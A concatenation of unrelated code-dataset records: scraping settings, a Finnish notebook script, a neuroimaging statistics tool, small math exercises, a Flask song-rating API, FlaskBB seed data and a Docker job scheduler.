os.path.join(PROJECT_DIR,'media/hexun')\nFILE_EXTENTION = ['.csv','.xml','.xls','.zip','.doc','.txt','.docx','.rar','.pdf']\nATTACHMENT_FILENAME_UTF8_DOMAIN = []\nFILE_EXPIRES = 30","sub_path":"DBCrawler/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"409071365","text":"# -*- coding: cp1252 -*-\n\nwhile True:\n\tprint(\"\"\"(1) Lue muistikirjaa\n\t(2) Lisää merkintä\n\t(3) Tyhjennä muistikirja\n\t(4) Lopeta\\n\"\"\")\n\t\n\tvalinta = input(\"Mitä haluat tehdä?: \")\n\t\n\tif valinta == \"1\":\n\t\ttiedosto = open(\"muistio.txt\",\"r\")\n\t\tprint(tiedosto.read())\n\t\ttiedosto.close()\n\t\t\n\telif valinta == \"2\":\n\t\tmerkinta = input(\"Kirjoita uusi merkintä: \")\n\t\tmerkinta = merkinta + \"\\n\"\n\t\ttiedosto = open(\"muistio.txt\",\"a\")\n\t\ttiedosto.write(merkinta)\n\t\ttiedosto.close()\n\t\t\n\telif valinta == \"3\":\n\t\ttiedosto = open(\"muistio.txt\",\"w\")\n\t\ttiedosto.close()\n\t\tprint(\"Muistio tyhjennetty.\")\n\t\t\n\telif valinta == \"4\":\n\t\tprint(\"Lopetetaan.\")\n\t\tbreak\n\t\t\n\telse:\n\t\tprint(\"Tuntematon valinta.\")","sub_path":"Python/054_muistikirja.py","file_name":"054_muistikirja.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"146907705","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCompute mean and std for the whole bundle for each metric.\n\"\"\"\n\nimport argparse\nimport json\nimport os\n\nimport nibabel as nib\n\nfrom scilpy.utils.filenames import split_name_with_nii\nfrom scilpy.io.image import assert_same_resolution\nfrom scilpy.io.streamlines import load_tractogram_with_reference\nfrom scilpy.io.utils import (add_json_args,\n add_reference_arg,\n assert_inputs_exist)\nfrom scilpy.utils.metrics_tools import get_bundle_metrics_mean_std\n\n\ndef _build_arg_parser():\n p = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n p.add_argument('in_bundle',\n help='Fiber bundle file to compute statistics on')\n p.add_argument('metrics', nargs='+',\n help='Nifti file to compute statistics on. Probably some '\n 'tractometry measure(s) such as FA, MD, RD, ...')\n\n p.add_argument('--density_weighting',\n action='store_true',\n help='If set, weight statistics by the number of '\n 'fibers passing through each voxel.')\n\n add_reference_arg(p)\n add_json_args(p)\n\n return p\n\n\ndef main():\n parser = _build_arg_parser()\n args = parser.parse_args()\n\n assert_inputs_exist(parser, [args.in_bundle] + args.metrics,\n optional=args.reference)\n\n assert_same_resolution(args.metrics)\n metrics = [nib.load(metric) for metric in args.metrics]\n\n sft = load_tractogram_with_reference(parser, args, args.in_bundle)\n sft.to_vox()\n sft.to_corner()\n\n bundle_stats = get_bundle_metrics_mean_std(sft.streamlines,\n metrics,\n args.density_weighting)\n\n bundle_name, _ = os.path.splitext(os.path.basename(args.in_bundle))\n\n stats = {bundle_name: {}}\n for metric, (mean, std) in zip(metrics, bundle_stats):\n metric_name = split_name_with_nii(\n os.path.basename(metric.get_filename()))[0]\n stats[bundle_name][metric_name] = {\n 'mean': mean,\n 'std': std\n }\n\n print(json.dumps(stats, indent=args.indent, sort_keys=args.sort_keys))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/scil_bundle_mean_std.py","file_name":"scil_bundle_mean_std.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"405152943","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 12 12:46:39 2021\n\n@author: Neha Nayak\n\"\"\"\n\ndef iteration_sum(num):\n#iteration\n if num < 0:\n print(\"invalid\")\n else:\n sum = 0\n while(num > 0):\n sum=sum+num\n num-=1\n return sum\n\n \ndef formula_sum(n):\n return (n*(n+1)*(2*n+1))/2 \n\ndef recursion_sum(n):\n if n==1:\n return 1\n else:\n return recursion_sum(n-1)+n","sub_path":"Basics/fun_sum_of_sqaures.py","file_name":"fun_sum_of_sqaures.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"374802523","text":"import sys\nimport os\n\n\ndef txt2parse(file_path):\n infile = f'{file_path}.txt'\n outfile = f'{file_path}.parse'\n \n os.system(f'java -jar ../BahraniParser/parser/BerkeleyParser-1.7.jar -gr ../BahraniParser/parser/SAZEH_Train_4_cycle.gr -inputFile {infile} -outputFile {outfile}')\n\nif __name__ == \"__main__\":\n print('====================== text 2 parse =================')\n path = sys.argv[1]\n if path.endswith('/'):\n path = path[:len(path)-1]\n all_files = os.listdir(path)\n for filename in sorted(all_files):\n if not filename.endswith('.txt'):\n continue\n filename = filename.split('.txt')[0]\n try:\n print(filename)\n txt2parse(f'{path}/{filename}')\n except Exception as ex:\n print('###################################################')\n print(filename)\n print(ex)\n","sub_path":"fa_5_txt2parse.py","file_name":"fa_5_txt2parse.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"183981392","text":"import GoogleScraper\nimport urllib.parse\nfrom selenium import webdriver\nfrom bs4 import BeautifulSoup\n\nwords_to_ignore = ['that', 'then', 'this', 'with', 'what', 'rgba', 'browser', 'margin', 'function', 'https', 'twitter',\n 'http', 'header', 'data', 'jquery', 'stylesheets']\nshortest_word_length_accepted = 4\nbaseurl = 'http://google.co.uk/search?q='\nquery = input('Google search: ')\npage_limit = int(input('Page limit (int): '))\nwords_to_ignore_query = input('Ignore: ').split(',')\nfor word in words_to_ignore_query:\n words_to_ignore.append(word.strip())\nprint()\n\npages = []\nfindings = []\n\nbrowser = webdriver.PhantomJS() # ensure phantomJS is in scripts directory\n\n\ndef populate_results():\n print('Finding results...')\n global pages\n pages = GoogleScraper.scrape('Best SEO tool', num_results_per_page=10, num_pages=page_limit, offset=0)\n print('Results found')\n\n\ndef analyse_results():\n global pages\n global findings\n print('Analysing results...\\n')\n for page in pages:\n for link_title, link_snippet, link_url in page['results']:\n # You can access all parts of the search results like that\n # link_url.scheme => URL scheme specifier (Ex: 'http')\n # link_url.netloc => Network location part (Ex: 'www.python.org')\n # link_url.path => URL scheme specifier (Ex: ''help/Python.html'')\n # link_url.params => Parameters for last path element\n # link_url.query => Query component\n try:\n print()\n link = urllib.parse.unquote(link_url.geturl())\n print('Analysing {} - {}').format(link_title, link)\n browser.get(link)\n soup = BeautifulSoup(browser.page_source, 'html.parser')\n document_strings = soup.stripped_strings\n fnd = handle_single_result(document_strings)\n findings.append(fnd)\n except:\n pass\n print()\n\n\ndef handle_single_result(result):\n word_counts = {}\n for stringa in result:\n stringa = stringa.lower()\n newstringa = ''\n for i in range(len(stringa)):\n n = ord(stringa[i])\n if not ((n >= 97 and n <= 122) or (n >= 65 and n <= 90)):\n newstringa += ' '\n else:\n newstringa += stringa[i]\n for stringb in newstringa.split(' '):\n if not stringb in words_to_ignore and len(stringb) >= shortest_word_length_accepted:\n if stringb in word_counts.keys():\n word_counts[stringb] += 1\n else:\n word_counts[stringb] = 1\n main_words = []\n for i in range(10):\n main_words.append(find_max_and_eliminate(word_counts))\n\n print(main_words)\n return main_words\n\n\ndef find_max_and_eliminate(diction):\n max_key = ''\n max_val = 0\n for key in diction.keys():\n if key.replace(' ', '') != '':\n if diction[key] > max_val:\n max_val = diction[key]\n max_key = key\n diction[max_key] = -1\n return (max_key, max_val)\n\n\npopulate_results()\nanalyse_results()\n","sub_path":"google_spider.py","file_name":"google_spider.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"150652353","text":"from flask import request, Response\nfrom .db import get_db\nfrom json import JSONEncoder\nfrom bson import ObjectId\nfrom pymongo import ReturnDocument\n\n\nclass MyJSONEncoder(JSONEncoder):\n def default(self, o):\n if isinstance(o, ObjectId):\n return str(o)\n return JSONEncoder.default(self, o)\n\n\njsonify = MyJSONEncoder().encode\n\n\ndef json_response(x):\n return Response(jsonify(x), mimetype=\"application/json\")\n\n\nclass BadRequestException(Exception):\n def __init__(self, msg):\n Exception.__init__(self)\n self.message = msg\n\n\ndef setup_views(app):\n @app.errorhandler(BadRequestException)\n def handle_bad_request_error(err):\n return err.message, 400\n\n @app.route(\"/\")\n def hello():\n return \"The server works.\"\n\n @app.route(\"/songs\")\n def list_songs_route():\n offset = request.args.get(\"offset\", 0, type=int)\n pagesize = request.args.get(\"pagesize\", 20, type=int)\n\n db = get_db()\n\n total_count = db.songs.count_documents({})\n cursor = db.songs.find({}, {\n \"artist\": 1,\n \"title\": 1\n }).skip(offset).limit(pagesize)\n\n results = [x for x in cursor]\n\n return json_response({\n \"offset\": offset,\n \"pagesize\": pagesize,\n \"cur_count\": len(results),\n \"total_count\": total_count,\n \"results\": results\n })\n\n @app.route(\"/songs/search\")\n def search_songs_route():\n offset = request.args.get(\"offset\", 0, type=int)\n pagesize = request.args.get(\"pagesize\", 20, type=int)\n message = request.args.get(\"message\", \"\", type=str)\n print(\"MESSAGE: \" + message)\n\n db = get_db()\n query_filter = {}\n\n if message is not \"\":\n query_filter = {\"$text\": {\"$search\": \"\\\"{}\\\"\".format(message)}}\n\n total_count = db.songs.count_documents(query_filter)\n cursor = db.songs.find(query_filter, {\n \"artist\": 1,\n \"title\": 1\n }).skip(offset).limit(pagesize)\n\n results = [x for x in cursor]\n\n return json_response({\n \"offset\": offset,\n \"pagesize\": pagesize,\n \"cur_count\": len(results),\n \"total_count\": total_count,\n \"results\": results\n })\n\n @app.route(\"/songs/avg/difficulty\")\n def avg_difficulty_route():\n level = request.args.get(\"level\", type=int)\n query_filters = {}\n\n if \"level\" in request.args:\n query_filters[\"level\"] = int(request.args[\"level\"])\n\n db = get_db()\n cursor = db.songs.aggregate([{\n \"$match\": query_filters\n }, {\n \"$group\": {\n \"_id\": None,\n \"avg\": {\n \"$avg\": \"$difficulty\"\n }\n }\n }])\n\n results = [{\"average_difficulty\": round(x[\"avg\"], 2)} for x in cursor]\n\n if len(results) == 0:\n raise BadRequestException(\n \"avg difficulty couldn't be calculated for {}\".format(\n \", \".join([\n \"{}: {}\".format(k, v)\n for k, v in query_filters.items()\n ])))\n\n return json_response(results[0])\n\n @app.route(\"/songs/rating\", methods=[\"POST\"])\n def add_rating_route():\n if \"song_id\" not in request.args:\n raise BadRequestException(\"'song_id' is required\")\n if \"rating\" not in request.args:\n raise BadRequestException(\"'rating' is required\")\n\n song_id = request.args.get(\"song_id\", type=str)\n rating = request.args.get(\"rating\", type=int)\n\n if rating > 5:\n raise BadRequestException(\n \"Rating too high. Must be between 1 and 5.\")\n if rating <= 0:\n raise BadRequestException(\n \"Rating too low. Must be between 1 and 5.\")\n\n db = get_db()\n query = {\"_id\": ObjectId(song_id)}\n\n song = db.songs.find_one(query)\n\n if song is None:\n raise BadRequestException(\"No such song\")\n\n info = song[\"ratings\"] if \"ratings\" in song else {\n \"num_ratings\": 0,\n \"max_rating\": 0,\n \"min_rating\": 5,\n \"avg_rating\": 0\n }\n\n updated_song = db.songs.find_one_and_update(\n query, {\n \"$set\": {\n \"ratings\": {\n \"num_ratings\":\n info[\"num_ratings\"] + 1,\n \"max_rating\":\n max(rating, info[\"max_rating\"]),\n \"min_rating\":\n min(rating, info[\"min_rating\"]),\n \"avg_rating\":\n round(((info[\"num_ratings\"] * info[\"avg_rating\"]) +\n rating) / (info[\"num_ratings\"] + 1), 1)\n }\n }\n },\n return_document=ReturnDocument.AFTER)\n\n return json_response(updated_song[\"ratings\"])\n\n @app.route(\"/songs/avg/rating\")\n def show_ratings_route():\n if \"song_id\" not in request.args:\n raise BadRequestException(\"'song_id' is required\")\n\n song_id = request.args.get(\"song_id\", type=str)\n db = get_db()\n query = {\"_id\": ObjectId(song_id)}\n\n song = db.songs.find_one(query)\n\n if song is None:\n raise BadRequestException(\"No such song\")\n\n info = song[\"ratings\"] if \"ratings\" in song else {\n \"num_ratings\": 0,\n \"max_rating\": 0,\n \"min_rating\": 0,\n \"avg_rating\": 0\n }\n\n return json_response(info)\n","sub_path":"myapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"202308613","text":"'''\nCreated on Sep 7, 2012\n\nCopyright (C) 2012, Jun Mei\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n'''\ndef max_binary_ones_stretch(n):\n while n > 0 and (n & 1) == 0:\n n = n >> 1\n result, stretch = 0, 0\n while n > 0:\n stretch = stretch + 1 if (n & 1) == 1 else 0\n if stretch > result:\n result = stretch\n n = n >> 1\n return result\n\nif __name__ == '__main__':\n tests = []\n tests.append((int('0b11011110110010011', 2), 4))\n tests.append((int('0b100000001', 2), 1))\n tests.append((int('0b11000000000000000000000', 2), 2))\n tests.append((int('0b111111000011111000111111', 2), 6))\n tests.append((int('0b0', 2), 0))\n for (n, expected_result) in tests:\n result = max_binary_ones_stretch(n)\n assert result == expected_result\n print('Tests Passed')\n","sub_path":"others/p002/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"259406650","text":"# -*- coding: utf-8 -*-\n\"\"\"\n flaskbb.utils.populate\n ~~~~~~~~~~~~~~~~~~~~\n\n A module that makes creating data more easily\n\n :copyright: (c) 2014 by the FlaskBB Team.\n :license: BSD, see LICENSE for more details.\n\"\"\"\nfrom datetime import datetime\nfrom collections import OrderedDict\n\nfrom flaskbb.user.models import User, Group\nfrom flaskbb.forum.models import Post, Topic, Forum, Category\n\n\nGROUPS = OrderedDict((\n ('Administrator', {\n 'description': 'The Administrator Group',\n 'admin': True,\n 'super_mod': False,\n 'mod': False,\n 'banned': False,\n 'guest': False,\n 'editpost': True,\n 'deletepost': True,\n 'deletetopic': True,\n 'posttopic': True,\n 'postreply': True,\n 'locktopic': True,\n 'movetopic': True,\n 'mergetopic': True\n }),\n ('Super Moderator', {\n 'description': 'The Super Moderator Group',\n 'admin': False,\n 'super_mod': True,\n 'mod': False,\n 'banned': False,\n 'guest': False,\n 'editpost': True,\n 'deletepost': True,\n 'deletetopic': True,\n 'posttopic': True,\n 'postreply': True,\n 'locktopic': True,\n 'movetopic': True,\n 'mergetopic': True\n }),\n ('Moderator', {\n 'description': 'The Moderator Group',\n 'admin': False,\n 'super_mod': False,\n 'mod': True,\n 'banned': False,\n 'guest': False,\n 'editpost': True,\n 'deletepost': True,\n 'deletetopic': True,\n 'posttopic': True,\n 'postreply': True,\n 'locktopic': True,\n 'movetopic': True,\n 'mergetopic': True\n }),\n ('Member', {\n 'description': 'The Member Group',\n 'admin': False,\n 'super_mod': False,\n 'mod': False,\n 'banned': False,\n 'guest': False,\n 'editpost': True,\n 'deletepost': False,\n 'deletetopic': False,\n 'posttopic': True,\n 'postreply': True,\n 'locktopic': False,\n 'movetopic': False,\n 'mergetopic': False\n }),\n ('Banned', {\n 'description': 'The Banned Group',\n 'admin': False,\n 'super_mod': False,\n 'mod': False,\n 'banned': True,\n 'guest': False,\n 'editpost': False,\n 'deletepost': False,\n 'deletetopic': False,\n 'posttopic': False,\n 'postreply': False,\n 'locktopic': False,\n 'movetopic': False,\n 'mergetopic': False\n }),\n ('Guest', {\n 'description': 'The Guest Group',\n 'admin': False,\n 'super_mod': False,\n 'mod': False,\n 'banned': False,\n 'guest': True,\n 'editpost': False,\n 'deletepost': False,\n 'deletetopic': False,\n 'posttopic': False,\n 'postreply': False,\n 'locktopic': False,\n 'movetopic': False,\n 'mergetopic': False\n })\n))\n\n\ndef create_default_groups():\n \"\"\"\n This will create the 5 default groups\n \"\"\"\n result = []\n for key, value in GROUPS.items():\n group = Group(name=key)\n\n for k, v in value.items():\n setattr(group, k, v)\n\n group.save()\n result.append(group)\n return result\n\n\ndef create_admin_user(username, password, email):\n \"\"\"\n Creates the administrator user\n \"\"\"\n admin_group = Group.query.filter_by(admin=True).first()\n user = User(username=username, password=password, email=email,\n date_joined=datetime.utcnow(), primary_group_id=admin_group.id)\n user.save()\n\n\ndef create_welcome_forum():\n \"\"\"\n This will create the `welcome forum` that nearly every\n forum software has after the installation process is finished\n \"\"\"\n\n if User.query.count() < 1:\n raise \"You need to create the admin user first!\"\n\n user = User.query.filter_by(id=1).first()\n\n category = Category(title=\"My Category\", position=1)\n category.save()\n\n forum = Forum(title=\"Welcome\", description=\"Your first forum\",\n category_id=category.id)\n forum.save()\n\n topic = Topic(title=\"Welcome!\")\n post = Post(content=\"Have fun with your new FlaskBB Forum!\")\n\n topic.save(user=user, forum=forum, post=post)\n\n\ndef create_test_data():\n\n create_default_groups()\n\n # create 5 users\n for u in range(1, 6):\n username = \"test%s\" % u\n email = \"test%s@example.org\" % u\n user = User(username=username, password=\"test\", email=email)\n user.primary_group_id = u\n user.save()\n\n user1 = User.query.filter_by(id=1).first()\n user2 = User.query.filter_by(id=2).first()\n\n # create 2 categories\n for i in range(1, 3):\n category_title = \"Test Category %s\" % i\n category = Category(title=category_title,\n description=\"Test Description\")\n category.save()\n\n # create 2 forums in each category\n for j in range(1, 3):\n if i == 2:\n j += 2\n\n forum_title = \"Test Forum %s %s\" % (j, i)\n forum = Forum(title=forum_title, description=\"Test Description\",\n category_id=i)\n forum.save()\n\n # create a topic\n topic = Topic()\n post = Post()\n\n topic.title = \"Test Title %s\" % j\n post.content = \"Test Content\"\n topic.save(post=post, user=user1, forum=forum)\n\n # create a second post in the forum\n post = Post()\n post.content = \"Test Post\"\n post.save(user=user2, topic=topic)\n","sub_path":"flaskbb/utils/populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":5582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"202799623","text":"from apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom apscheduler.triggers.cron import CronTrigger\nimport differ\nimport docker\nimport configparser\nimport etcd_client\nimport audit\nimport json\nimport base64\nimport glob\nimport os\nimport logging\nimport insights\nimport git\nimport subprocess\nfrom datetime import datetime\n\n\ndocker_client = docker.from_env()\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\nscheduler = AsyncIOScheduler()\nscheduler.add_executor('processpool')\njobstore = False\nif config.has_section('POSTGRES') and config['POSTGRES']['DB'] != '':\n postgres_user = config['POSTGRES']['USER']\n postgres_pass = config['POSTGRES']['PASSWORD']\n postgres_db = config['POSTGRES']['DB']\n postgres_host = config['POSTGRES']['HOST']\n url = 'postgresql://{}:{}@{}/{}'.format(postgres_user, postgres_pass,\n postgres_host, postgres_db)\n scheduler.add_jobstore('sqlalchemy', url=url)\n jobstore = True\nlogging.basicConfig(level=logging.DEBUG)\nlogging.getLogger('apscheduler').setLevel(logging.DEBUG)\nscheduler.start()\n\n\ndef schedule_run(data):\n #data = request.get_json()\n response = {}\n env = {}\n command = []\n renku = False\n container = data['container']\n response['container'] = container\n print(container)\n tool = data['tool']\n response['tool'] = tool\n print(tool)\n dataset = data['dataset']\n response['dataset'] = dataset\n print(dataset)\n if 'env' in data:\n env = data['env']\n if 'command' in data:\n command = data['command']\n if data['renku']:\n renku = True\n if data['cron']:\n freq = data['freq']\n if freq == 'daily':\n job = scheduler.add_job(run_container, 'interval', days=1,\n args=[container, command, env, tool, dataset, renku], id=tool,\n replace_existing=True,\n misfire_grace_time=3600, coalesce=True)\n elif freq == 'weekly':\n job = scheduler.add_job(run_container, 'interval', weeks=1,\n args=[container, command, env, tool, dataset, renku], id=tool,\n replace_existing=True,\n misfire_grace_time=3600, coalesce=True)\n else:\n job = scheduler.add_job(run_container, CronTrigger.from_crontab(freq),\n args=[container, command, env, tool, dataset, renku], id=tool,\n replace_existing=True,\n misfire_grace_time=3600, coalesce=True)\n response['job'] = job.id\n return response\n else:\n response['exec_result'] = run_container(container, command, env, tool, dataset, renku)\n return response\n\n\ndef run_container(container, command, env, tool, dataset, renku):\n result = {}\n status = \"\"\n if renku:\n datadir = f'{dataset}/data/input'\n docker_client.containers.run(container, command=command, environment=env,\n volumes={datadir: {'bind': '/usr/src/app/data'},\n '/var/run/docker.sock':\n {'bind': '/var/run/docker.sock'},\n '/usr/bin/docker':\n {'bind': '/usr/bin/docker'}},\n network='host')\n status = renku_update(dataset)\n return status\n else:\n docker_client.containers.run(container, command=command, environment=env,\n volumes={dataset: {'bind': '/usr/src/app/data'},\n '/var/run/docker.sock':\n {'bind': '/var/run/docker.sock'},\n '/usr/bin/docker':\n {'bind': '/usr/bin/docker'}},\n network='host')\n result = differ.detect(dataset, tool)\n insights.report(dataset, tool, config['WORKING_ENVIRONMENT']['user'])\n return result\n\n\ndef renku_update(path):\n # Get the Renku project repo\n repo = git.Repo(path)\n # Attempt a pull\n try:\n origin = repo.remotes.origin\n origin.pull()\n except:\n logging.info(\"Pull not completed\")\n # Commit and push new data\n try:\n repo.git.add('.')\n repo.git.commit(m=\"Auto: Data update\")\n repo.git.push()\n except:\n logging.error(\"Data update failed\")\n return \"Error pushing data to Renku\"\n # Run the renku workflow\n try:\n subprocess.run(\"renku update\")\n except:\n logging.error(\"Renku update failed\")\n return \"Error running Renku workflow\"\n # Push changes\n try:\n repo.git.push()\n except:\n logging.error(\"Final push failed\")\n return \"Error pushing workflow result\"\n return \"Renku project successfully updated\"\n\n\n\ndef listen():\n try:\n print(etcd_client.list('notifications'))\n logging.info(etcd_client.list('notifications'))\n # Send notifications as email\n # Delete notifications\n except:\n print(\"No notifications\")\n logging.info(\"No notifications\")\n\n\ndef data_listen():\n try:\n qresult = etcd_client.read_recursive('raw')\n print(qresult)\n logging.info(qresult)\n for key, value in qresult.items():\n dir = config['WORKING_ENVIRONMENT']['importdir'] + '/' + key.split('/')[2]\n filename = dir + '/' + key.split('/')[3] + '.json'\n print(filename)\n print(value)\n if not os.path.isdir(dir):\n os.mkdir(dir)\n with open(filename, 'w') as output:\n output.write(value)\n except:\n print(\"No pernding data\")\n logging.info(\"No pending data\")\n\n\ndef audit_listen():\n # delete known audits entries older than 10 minutes\n known_audits = audit.cleanup()\n try:\n # get all audits\n directory = etcd_client.directory('audit')\n audits = {}\n current_user = config['WORKING_ENVIRONMENT']['user']\n for result in directory.children:\n audits[result.key] = result.value\n for key in audits:\n audit_id = key.split('/')[2]\n details = json.loads(audits[key])\n print(details)\n logging.debug(details)\n print(current_user)\n logging.debug(current_user)\n # check if self is the issuer\n if details['issuer'] == current_user:\n # check if 10 minutes have passed\n audit_time = datetime.strptime(details['timestamp'], \"%Y-%m-%d %H:%M:%S.%f\")\n delta = datetime.now() - audit_time\n if (delta.total_seconds() // 60) % 60 > 10:\n #if yes, get files, validate, announce leader, delete entries\n audit.validate(details, audit_id)\n else:\n #if not, wait\n pass\n else:\n if key in known_audits:\n pass\n else:\n known_audits[key] = str(datetime.now())\n with open('known_audits.json', 'w') as archive:\n json.dump(known_audits, archive)\n # send file and save id to known audits\n if config.has_option('DATA_REPOS', details['tool']):\n filename = audit.submit(details['tool'], audit_id, current_user)\n print(\"Contributed {} to {}\".format(filename, key))\n logging.info(\"Contributed {} to {}\".format(filename, key))\n except:\n print(\"No on-going audits\")\n logging.info(\"No on-going audits\")\n\n\ndef list_jobs():\n job_list = scheduler.get_jobs()\n response = {}\n for item in job_list:\n response[item.id] = str(item.next_run_time)\n return response\n\n\ndef delete_job(id):\n scheduler.remove_job(id)\n return \"Unscheduled \" + id\n\n\nif jobstore:\n scheduler.add_job(listen, 'interval', seconds=10, id = 'listen',\n replace_existing=True,\n misfire_grace_time=5, coalesce=True)\n scheduler.add_job(data_listen, 'interval', seconds=10, id = 'data_listen',\n replace_existing=True,\n misfire_grace_time=5, coalesce=True)\n scheduler.add_job(audit_listen, 'interval', seconds=10, id = 'audit_listen',\n replace_existing=True,\n misfire_grace_time=5, coalesce=True)\n","sub_path":"schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":8702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"173765533","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport numpy as np\nimport torchvision.models as models\nfrom torchvision import datasets, models, transforms\nimport matplotlib.pyplot as plt\nimport time\nimport os\nimport copy\nfrom PIL import Image\nfrom skimage.color import lab2rgb, rgb2lab, rgb2gray\nfrom skimage import img_as_float\n\n\nclass GrayscaleImageFolder(datasets.ImageFolder):\n def __getitem__(self, item):\n path, target = self.imgs[item]\n img = self.loader(path)\n #if self.transform is not None:\n if True:\n img_original = self.transform(img)\n img_original = np.asarray(img_original)\n img_lab = rgb2lab(img_original)\n img_lab = (img_lab + 128) / 255\n img_ab = img_lab[:,:,1:3]\n img_ab = torch.from_numpy(img_ab.transpose((2,0,1))).float()\n img_original = rgb2gray(img_original)\n print(img_original)\n img_original = torch.from_numpy(img_original).unsqueeze(0).float()\n if self.target_transform is not None:\n target = self.target_transform(target)\n return img_original, img_ab, target\n\n\ndef to_rgb(grayscale_input, ab_input,save_path=None,save_name=None):\n color_image = torch.cat((grayscale_input, ab_input), 1).squeeze(0).numpy()\n color_image = color_image.transpose((1,2,0))\n color_image[:,:,0:1] = color_image[:,:,0:1] * 100\n color_image[:,:,1:3] = color_image[:,:,1:3] *255 -128\n color_image =lab2rgb(color_image.astype(np.float64))\n grayscale_input = grayscale_input.squeeze().numpy()\n if save_path is not None and save_name is not None:\n plt.imsave(arr=grayscale_input,\n fname='{}{}'.format(save_path['grayscale'],save_name),cmap='gray')\n plt.imsave(arr=color_image,fname='{}{}'.format(save_path['colorized'],save_name))\n\n\nclass Avg(object):\n def __init__(self):\n self.val, self.avg, self.sum, self.count = 0, 0, 0, 0\n\n def reset(self):\n self.val, self.avg, self.sum, self.count = 0, 0, 0, 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\n\ntrain_transforms = transforms.Compose([\n #transforms.RandomSizedCrop(224)\n #transforms.RandomHorizontalFlip()\n])\ntrain_imagefolder = GrayscaleImageFolder('D:\\\\image\\\\verify',train_transforms)\n# 加载训练数据\ntrain_loader = torch.utils.data.DataLoader(train_imagefolder, batch_size=1,shuffle=True)\n\nval_transforms = transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224)\n])\nval_imagefolder = GrayscaleImageFolder('D:\\\\image\\\\validation',val_transforms)\n# 加载验证数据\nval_loader = torch.utils.data.DataLoader(val_imagefolder, batch_size=1,shuffle=True)\n\ndataloader = {'train':train_loader, 'valid':val_loader}\ndataset_sizes = {'train':len(train_imagefolder),'valid':len(val_imagefolder)}\n","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"25962289","text":"#coding: utf-8\n\nfrom django import template\nfrom django.template.loader import render_to_string\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import gettext as _\n\nregister = template.Library()\n\nPERMALINK_TEXT = _(u\"Fastur hlekkur á þessa klausu í lögunum\")\n\ndef get_law_tree(rootnodes):\n \"\"\"\n Usage: {% get_law_tree rootnodes %}\n Before: rootnodes is a queryset of LawNode objects\n After: A complete law tree has been rendered\n \"\"\"\n rendered_trees = []\n for node in rootnodes:\n rendered_trees.append(render_tree(node))\n \n return mark_safe(render_to_string('snippets/law_tree.html', { 'trees': rendered_trees }))\n \n \n \ndef render_tree(rootnode):\n \"\"\"\n Usage: rendered_tree = render_tree(rootnode)\n After: rendered_tree is a html rendering of rootnode and all of it's children\n \"\"\"\n if not rootnode.has_children():\n return render_to_string('snippets/law_subtree.html', { 'node': rootnode ,'permalink_text': PERMALINK_TEXT })\n else:\n subtrees = []\n for childnode in rootnode.children.all():\n subtrees.append(render_tree(childnode))\n return render_to_string('snippets/law_subtree.html', { 'node': rootnode, 'subtrees': subtrees, 'permalink_text': PERMALINK_TEXT})\n\nregister.simple_tag(get_law_tree) \n\n \n","sub_path":"templatetags/law_tags.py","file_name":"law_tags.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"532863504","text":"texto = \"The Python Software Foundation and the global Python community \\\nwelcome and encourage participation by 